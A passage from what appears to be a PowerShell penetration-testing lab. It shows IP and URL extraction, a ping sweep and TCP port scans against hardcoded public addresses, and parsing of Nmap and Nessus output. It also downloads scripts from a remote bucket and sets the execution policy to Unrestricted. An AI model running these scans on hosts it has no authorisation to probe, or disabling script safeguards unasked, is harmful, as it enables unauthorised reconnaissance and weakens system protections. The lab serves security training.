------------------------Type This------------------------------
1801
$input_path = 'c:\ps\ip_addresses.txt'
1802
$output_file = 'c:\ps\extracted_ip_addresses.txt'
1803
$regex = '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
1804
select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
1805
---------------------------------------------------------------
1806
 
1807
 
1808
 
1809
URLs
1810
----
1811
For the purposes of this example, I created a couple of dummy web server log entries and saved them into URL_addresses.txt.
1812
You may choose to use this script for extracting URL addresses from proxy logs, network packet capture logs, debug logs, etc.
1813
------------------------Type This------------------------------
1814
$input_path = 'c:\ps\URL_addresses.txt'
1815
$output_file = 'c:\ps\extracted_URL_addresses.txt'
1816
$regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
1817
select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
1818
---------------------------------------------------------------
1819
 
1820
In addition to the examples above, many other types of strings can be extracted using this script.
1821
All you need to do is switch the regular expression in the "$regex" variable!
1822
In fact, the beauty of such a PowerShell script is its simplicity and speed of execution.
1823
 
1824
 
1825
 
1826
 
1827
 
1828
 
1829
########################################
1830
# Basic Network Commands in PowerShell #
1831
########################################
1832
 
1833
Reference:
1834
https://blogs.technet.microsoft.com/josebda/2015/04/18/windows-powershell-equivalents-for-common-networking-commands-ipconfig-ping-nslookup/
1835
 
1836
 
1837
###################
1838
# Pentester Tasks #
1839
###################
1840
Reference:
1841
http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
1842
 
1843
 
1844
Listing IPs
1845
-----------
1846
One of the typical ways for working with IP addressed in most scripts is to work with an octet and then increase the last one
1847
 
1848
------------------------Type This------------------------------
1849
$octect = "149.28.201."
1850
$lastoctect = (1..255)
1851
$lastoctect | ForEach-Object {write-host "$($octect)$($_)"}
1852
---------------------------------------------------------------
1853
 
1854
 
1855
Ping Sweep
1856
------------------------------------------------------
1857
PowerShell provides several methods for doing Ping
1858
Test-Connection cmdlet
1859
Creation of a WMI Object
1860
.Net System.Net.NetworkInformation.Ping Object
1861
------------------------------------------------------
1862
 
1863
 
1864
------------------------Type This------------------------------
1865
function New-IPRange ($start, $end) {
1866
$ip1 = ([System.Net.IPAddress]$start).GetAddressBytes()
1867
[Array]::Reverse($ip1)
1868
$ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address
1869
 
1870
$ip2 = ([System.Net.IPAddress]$end).GetAddressBytes()
1871
[Array]::Reverse($ip2)
1872
$ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address
1873
 
1874
for ($x=$ip1; $x -le $ip2; $x++) {
1875
$ip = ([System.Net.IPAddress]$x).GetAddressBytes()
1876
[Array]::Reverse($ip)
1877
$ip -join '.'
1878
}
1879
}
1880
$ping = New-Object System.Net.NetworkInformation.Ping
1881
New-IPRange 149.28.201.1 149.28.201.250 | ForEach-Object {$ping.Send($_, 100)} | where {$_.status -eq "Success"}
1882
---------------------------------------------------------------
1883
 
1884
 
1885
Reverse Lookups
1886
---------------
1887
For reverse lookups using .Net Class we use the [System.Net.Dns]::GetHostEntry(IP) method Returns System.Net.IPHostEntry
1888
 
1889
 
1890
------Deprecated--------
1891
[System.Net.Dns]::GetHostByAddress("162.243.126.247")  
1892
------Deprecated--------
1893
 
1894
Use getnameinfo instead:
1895
https://msdn.microsoft.com/en-us/library/windows/desktop/ms738532(v=vs.85).aspx
1896
 
1897
References:
1898
https://stackoverflow.com/questions/10346194/how-to-use-getnameinfo-instead-of-gethostbyname
1899
 
1900
 
1901
 
1902
Forward Lookups
1903
---------------
1904
 
1905
------------------------Type This------------------------------
1906
[System.Net.Dns]::GetHostAddresses("www.google.com")
1907
---------------------------------------------------------------
1908
 
1909
 
1910
Port Scans
1911
----------
1912
To test if a port is open on a remote host in PowerShell the best method is to use the .Net abstraction that it provides to Windows Socket library
1913
For TCP the .Net System.Net.Sockets.TcpClient
1914
For UDP the .Net System.Net.Sockets.UdpClient
1915
 
1916
 
1917
 
1918
 
1919
TCP Scan (Windows 7)
1920
--------------------
1921
NOTE: If you are using Windows 7, use the code below
1922
------------------------Type This------------------------------
1923
$ports=22,80,443,3389
1924
$target = "149.28.201.171"
1925
foreach ($i in $ports) {
1926
try {
1927
$socket = new-object System.Net.Sockets.TCPClient($target, $i);
1928
} catch {}
1929
if ($socket -eq $NULL) {
1930
echo "$target:$i - Closed";
1931
} else {
1932
echo "$target:$i - Open";
1933
$socket = $NULL;
1934
}}
1935
---------------------------------------------------------------
1936
 
1937
 
1938
 
1939
TCP Scan (Windows 10)
1940
---------------------
1941
NOTE: If you are using Windows 10, use the code below
1942
 
1943
------------------------Type This------------------------------
1944
$ports=22,80,443,3389
1945
$target = "149.28.201.171"
1946
foreach ($i in $ports) {
1947
try {
1948
$socket = new-object System.Net.Sockets.TCPClient($target, $i);
1949
} catch {}
1950
if ($socket -eq $NULL) {
1951
echo "${target}:$i - Closed";
1952
} else {
1953
echo "${target}:$i - Open";
1954
$socket = $NULL;
1955
}}
1956
---------------------------------------------------------------
1957
 
1958
 
1959
 
1960
##########################
1961
# Parsing Nmap XML Files #
1962
##########################
1963
If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
1964
https://infosecaddicts-files.s3.amazonaws.com/PowerShell-Files.zip
1965
 
1966
 
1967
Let's setup a directory to work in:
1968
------------------------Type This------------------------------
1969
cd c:\
1970
 
1971
mkdir ps
1972
 
1973
cd ps
1974
---------------------------------------------------------------
1975
 
1976
 
1977
 
1978
 
1979
------------------------Type This------------------------------
1980
cd c:\ps
1981
mkdir PowerShell-Files
1982
cd PowerShell-Files
1983
(new-object System.Net.WebClient).DownloadFile("https://infosecaddicts-files.s3.amazonaws.com/Parse-Nmap.ps1", "c:\ps\PowerShell-Files\Parse-Nmap.ps1")
1984
(new-object System.Net.WebClient).DownloadFile("https://infosecaddicts-files.s3.amazonaws.com/class_nessus.csv", "c:\ps\PowerShell-Files\class_nessus.csv")
1985
(new-object System.Net.WebClient).DownloadFile("https://infosecaddicts-files.s3.amazonaws.com/samplescan.xml", "c:\ps\PowerShell-Files\samplescan.xml")
1986
---------------------------------------------------------------
1987
 
1988
 
1989
Run Powershell as administrator
1990
------------------------Type This------------------------------
1991
cd C:\ps\\PowerShell-Files
1992
 
1993
Get-ExecutionPolicy
1994
Set-ExecutionPolicy Unrestricted –Force
1995
---------------------------------------------------------------
1996
 
1997
 
1998
Parse nmap XML
1999
------------------------Type This------------------------------
2000
.\parse-nmap.ps1 samplescan.xml
2001
---------------------------------------------------------------
2002
 
2003
 
2004
Process all XML files
2005
------------------------Type This------------------------------
2006
.\parse-nmap.ps1 *.xml
2007
---------------------------------------------------------------
2008
 
2009
Piping also works
2010
------------------------Type This------------------------------
2011
dir *.xml | .\parse-nmap.ps1
2012
---------------------------------------------------------------
2013
 
2014
Advanced parsing with filtering conditions
2015
------------------------Type This------------------------------
2016
.\parse-nmap.ps1 samplescan.xml | where {$_.OS -like "*Windows XP*"} | format-table IPv4,HostName,OS
2017
---------------------------------------------------------------
2018
 
2019
 
2020
More parsing
2021
------------------------Type This------------------------------
2022
.\parse-nmap.ps1 samplescan.xml | where {$_.Ports -like "*open:tcp:22*"}
2023
---------------------------------------------------------------
2024
 
2025
Parsing with match and multiple conditions
2026
------------------------Type This------------------------------
2027
.\parse-nmap.ps1 samplescan.xml |where {$_.Ports -match "open:tcp:80|open:tcp:443"}
2028
---------------------------------------------------------------
2029
 
2030
 
2031
CSV Export
2032
------------------------Type This------------------------------
2033
.\parse-nmap.ps1 samplescan.xml -outputdelimiter " " | where {$_.Ports -match "open:tcp:80"} | export-csv weblisteners.csv
2034
---------------------------------------------------------------
2035
 
2036
Import Data from CSV
2037
------------------------Type This------------------------------
2038
$data = import-csv weblisteners.csv
2039
$data | where {($_.IPv4 -like "10.57.*") -and ($_.Ports -match "open:tcp:22")}
2040
---------------------------------------------------------------
2041
 
2042
 
2043
Export to HTML
2044
------------------------Type This------------------------------
2045
.\parse-nmap.ps1 samplescan.xml -outputdelimiter " " |select-object IPv4,HostName,OS | ConvertTo-Html | out-file report.html
2046
---------------------------------------------------------------
2047
 
2048
 
2049
########################################
2050
# Parsing Nessus scans with PowerShell #
2051
########################################
2052
If you are NOT using the Win7 VM provided then you can get the required files for this lab which are located in this zip file:
2053
https://infosecaddicts-files.s3.amazonaws.com/PowerShell-Files.zip
2054
 
2055
 
2056
 
2057
Let's take a look at the Import-Csv cmdlet and what are the members of the object it returns:
2058
------------------------Type This------------------------------
2059
Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | Get-Member
2060
---------------------------------------------------------------
2061
 
2062
filter the objects:
2063
 
2064
------------------------Type This------------------------------
2065
Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {$_.risk -eq "high"}
2066
---------------------------------------------------------------
2067
 
2068
use the Select-Object cmdlet and only get unique entries:
2069
------------------------Type This------------------------------
2070
Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {$_.risk -eq "high"} | select host -Unique
2071
 
2072
Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | Out-GridView
2073
------------------------Type This------------------------------
2074
 
2075
ConvertTo-Html cmdlet and turn it in to an HTML report in list format:
2076
------------------------Type This------------------------------
2077
Import-Csv c:\ps\PowerShell-Files\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | ConvertTo-Html -As List > C:\report2.html
2078
---------------------------------------------------------------